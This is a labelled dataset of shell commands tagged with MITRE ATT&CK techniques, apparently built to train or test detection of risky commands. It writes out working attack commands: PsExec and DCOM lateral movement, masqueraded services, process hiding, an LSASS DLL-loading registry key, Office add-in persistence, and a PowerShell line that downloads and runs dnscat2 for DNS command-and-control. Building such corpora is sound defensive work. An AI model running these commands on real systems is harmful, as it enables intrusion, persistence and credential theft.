cowWhySo/permission-command-corpus huggingface dataset:
Command: reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0" cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0" rm $env:temp\psexec.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: BlackCat pre-encryption cmds with Lateral Movement
Notes: This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat
Command: "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Use RemCom to execute a command on a remote host
Notes: Requires having RemCom installed, path to RemCom is one of the input input_arguments
Will start a process on a remote host.
Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).
Command: sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Snake Malware Service Create
Notes: The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.
This was recently seen in the Snake Malware report. 
Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Servi
Command: sc.exe delete "WerFaultSvc"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Snake Malware Service Create
Notes: The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.
This was recently seen in the Snake Malware report. 
Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Servi
Command: sc.exe sdset scmanager D:(A;;KA;;;WD)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Modifying ACL of Service Control Manager via SDET
Notes: Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required.
[Blog](https://0xv1n.github.io/posts/scmanager/)
Command: cd C:\Users\Public\Temp\ .\PsExec.exe -i -s cmd -accepteula
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Pipe Creation - PsExec Tool Execution From Suspicious Locations
Notes: Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.
Command: schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1" /tn win32times /f schtasks /query /tn win32times
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: windows
ATT&CK tags: T1036.004
Source rule: Creating W32Time similar named service using schtasks
Notes: Creating W32Time similar named service (win32times) using schtasks just like threat actor dubbed "Operation Wocao"
Command: schtasks /tn win32times /delete /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: windows
ATT&CK tags: T1036.004
Source rule: Creating W32Time similar named service using schtasks
Notes: Creating W32Time similar named service (win32times) using schtasks just like threat actor dubbed "Operation Wocao"
Command: sc create win32times binPath= "cmd /c start c:\T1036.004_NonExistingScript.ps1" sc qc win32times
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: windows
ATT&CK tags: T1036.004
Source rule: Creating W32Time similar named service using sc
Notes: Creating W32Time similar named service (win32times) using sc just like threat actor dubbed "Operation Wocao"
Command: sc delete win32times
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: windows
ATT&CK tags: T1036.004
Source rule: Creating W32Time similar named service using sc
Notes: Creating W32Time similar named service (win32times) using sc just like threat actor dubbed "Operation Wocao"
Command: #{exe_path} & ps TMP=`ps | grep totally_legit` if [ -z "${TMP}" ] ; then echo "renamed process NOT FOUND in process list" && exit 1; fi exit 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: linux
ATT&CK tags: T1036.004
Source rule: linux rename /proc/pid/comm using prctl
Notes: Runs a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm value to "totally_legit".  This will show up as process name in simple 'ps' listings.
Command: rm -f #{exe_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: linux
ATT&CK tags: T1036.004
Source rule: linux rename /proc/pid/comm using prctl
Notes: Runs a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm value to "totally_legit".  This will show up as process name in simple 'ps' listings.
Command: eval '(while true; do :; done) &' echo $! > /tmp/evil_pid.txt random_kernel_pid=$(ps -ef | grep "\[.*\]" | awk '{print $2}' | shuf -n 1) sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: linux
ATT&CK tags: T1036.004
Source rule: Hiding a malicious process with bind mounts
Notes: Creates a malicious process and hides it by bind mounting to the /proc filesystem of a benign process
Command: kill $(cat /tmp/evil_pid.txt) || echo "Failed to kill PID $evil_pid" rm /tmp/evil_pid.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.004
Platform: linux
ATT&CK tags: T1036.004
Source rule: Hiding a malicious process with bind mounts
Notes: Creates a malicious process and hides it by bind mounting to the /proc filesystem of a benign process
Command: docker build -t t1610 $PathtoAtomicsFolder/T1610/src/ docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1610
Platform: containers
ATT&CK tags: T1610
Source rule: Deploy Docker container
Notes: Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique.
Command: docker stop t1610_container docker rmi -f t1610:latest
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1610
Platform: containers
ATT&CK tags: T1610
Source rule: Deploy Docker container
Notes: Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique.
Command: cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.007
Platform: macos
ATT&CK tags: T1547.007
Source rule: Copy in loginwindow.plist for Re-Opened Applications
Notes: Copy in new loginwindow.plist to launch Calculator.
Command: rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.007
Platform: macos
ATT&CK tags: T1547.007
Source rule: Copy in loginwindow.plist for Re-Opened Applications
Notes: Copy in new loginwindow.plist to launch Calculator.
Command: sudo defaults write com.apple.loginwindow LoginHook #{script}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.007
Platform: macos
ATT&CK tags: T1547.007
Source rule: Re-Opened Applications using LoginHook
Notes: Mac Defaults

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
Command: sudo defaults delete com.apple.loginwindow LoginHook
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.007
Platform: macos
ATT&CK tags: T1547.007
Source rule: Re-Opened Applications using LoginHook
Notes: Mac Defaults

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
Command: FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z "${FILE}" ] ; then echo "No loginwindow plist file found" && exit 1 ; fi echo save backup copy to /tmp/ cp ${FILE} /tmp/t1547007_loginwindow-backup.plist echo before plutil -p ${FILE} echo overwriting... #{exe_path} ${FILE} && echo after && plutil -p ${FILE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.007
Platform: macos
ATT&CK tags: T1547.007
Source rule: Append to existing loginwindow for Re-Opened Applications
Notes: Appends an entry to launch Calculator hidden loginwindow.*.plist for next login.
Note that the change may not result in the added Calculator program launching on next user login.
It may depend on which version of macOS you are running on.
Command: rm -f #{exe_path} # revert to backup copy FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z "${FILE}" ] ; then exit 0 fi mv /tmp/t1547007_loginwindow-backup.plist ${FILE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.007
Platform: macos
ATT&CK tags: T1547.007
Source rule: Append to existing loginwindow for Re-Opened Applications
Notes: Appends an entry to launch Calculator hidden loginwindow.*.plist for next login.
Note that the change may not result in the added Calculator program launching on next user login.
It may depend on which version of macOS you are running on.
Command: New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "#{dll_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.008
Platform: windows
ATT&CK tags: T1547.008
Source rule: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt
Notes: The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. 

Upon execution, the registry key will be modified and a value will contain the path to the DLL. 
Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal
Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.
Command: Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.008
Platform: windows
ATT&CK tags: T1547.008
Source rule: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt
Notes: The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. 

Upon execution, the registry key will be modified and a value will contain the path to the DLL. 
Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal
Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.
Command: for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1071.004
Platform: windows
ATT&CK tags: T1071.004
Source rule: DNS Large Query Volume
Notes: This test simulates an infected host sending a large volume of DNS queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
Command: Set-Location "PathToAtomicsFolder" .\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1071.004
Platform: windows
ATT&CK tags: T1071.004
Source rule: DNS Regular Beaconing
Notes: This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
Command: Set-Location "PathToAtomicsFolder" .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1071.004
Platform: windows
ATT&CK tags: T1071.004
Source rule: DNS Long Domain Query
Notes: This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.
 Upon execution, DNS information about the domain will be displayed for each callout.
Command: IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1') Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1071.004
Platform: windows
ATT&CK tags: T1071.004
Source rule: DNS C2
Notes: This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command.
The following blogs have more information.

https://github.com/iagox86/dnscat2

https://github.com/lukebaggett/dnscat2-powershell
Command: [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.003
Platform: windows
ATT&CK tags: T1021.003
Source rule: PowerShell Lateral Movement using MMC20
Notes: Powershell lateral movement using the mmc20 application com object.

Reference:

https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/

Upon successful execution, cmd will spawn calc.exe on a remote computer.
Command: copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe' $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}")) $com.ActivateMicrosoftApp("5")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.003
Platform: windows
ATT&CK tags: T1021.003
Source rule: PowerShell Lateral Movement Using Excel Application Object
Notes: Powershell lateral movement using the Excel COM objects.

Reference:

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

Upon successful execution, cmd will spawn calc.exe on a remote computer.
Command: Remove-Item 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.003
Platform: windows
ATT&CK tags: T1021.003
Source rule: PowerShell Lateral Movement Using Excel Application Object
Notes: Powershell lateral movement using the Excel COM objects.

Reference:

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

Upon successful execution, cmd will spawn calc.exe on a remote computer.
Command: copy "#{service_executable}" "C:\Program Files\windows_service.exe" copy "#{service_executable}" "C:\program.exe" sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto sc start "Example Service"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.009
Platform: windows
ATT&CK tags: T1574.009
Source rule: Execution of program.exe as service with unquoted service path
Notes: When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
Command: sc stop "Example Service" >nul 2>&1 sc delete "Example Service" >nul 2>&1 del "C:\Program Files\windows_service.exe" >nul 2>&1 del "C:\program.exe" >nul 2>&1 del "C:\Time.log" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.009
Platform: windows
ATT&CK tags: T1574.009
Source rule: Execution of program.exe as service with unquoted service path
Notes: When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
Command: $wdApp = New-Object -COMObject "Word.Application" if(-not $wdApp.path.contains("Program Files (x86)")) { Write-Host "64-bit Office" reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll" /f } else{ Write-Host "32-bit Office" reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll" /f } Stop-Process -Name "WinWord" Start-Process "WinWord"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.002
Platform: windows
ATT&CK tags: T1137.002
Source rule: Office Application Startup Test Persistence (HKCU)
Notes: Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office
application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.
Command: Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore Remove-Item "HKCU:\Software\Microsoft\Office test\Special\Perf" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.002
Platform: windows
ATT&CK tags: T1137.002
Source rule: Office Application Startup Test Persistence (HKCU)
Notes: Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office
application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.
Command: $excelApp = New-Object -COMObject "Excel.Application" if(-not $excelApp.path.contains("Program Files (x86)")){ Write-Host "64-bit Office" $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll") } else{ Write-Host "32-bit Office" $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll") }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Code Executed Via Excel Add-in File (XLL)
Notes: Loads an XLL file using the excel add-ins library.
This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.
Command: Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Code Executed Via Excel Add-in File (XLL)
Notes: Loads an XLL file using the excel add-ins library.
This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.
Command: $ver = (New-Object -COMObject "Excel.Application").version Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" -ErrorAction Ignore Stop-Process -Name "notepad","Excel" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.xll" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Persistent Code Execution Via Excel Add-in File (XLL)
Notes: Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started
The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
Command: $wdApp = New-Object -COMObject "Word.Application" if(-not $wdApp.path.contains("Program Files (x86)")) { Write-Host "64-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" } else{ Write-Host "32-bit Office" Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" } Stop-Process -Name "WinWord" Start-Process "WinWord"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Persistent Code Execution Via Word Add-in File (WLL)
Notes: Creates a Word Add-in file (WLL) which runs automatically when Word is started
The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office.
Command: Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Persistent Code Execution Via Word Add-in File (WLL)
Notes: Creates a Word Add-in file (WLL) which runs automatically when Word is started
The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office.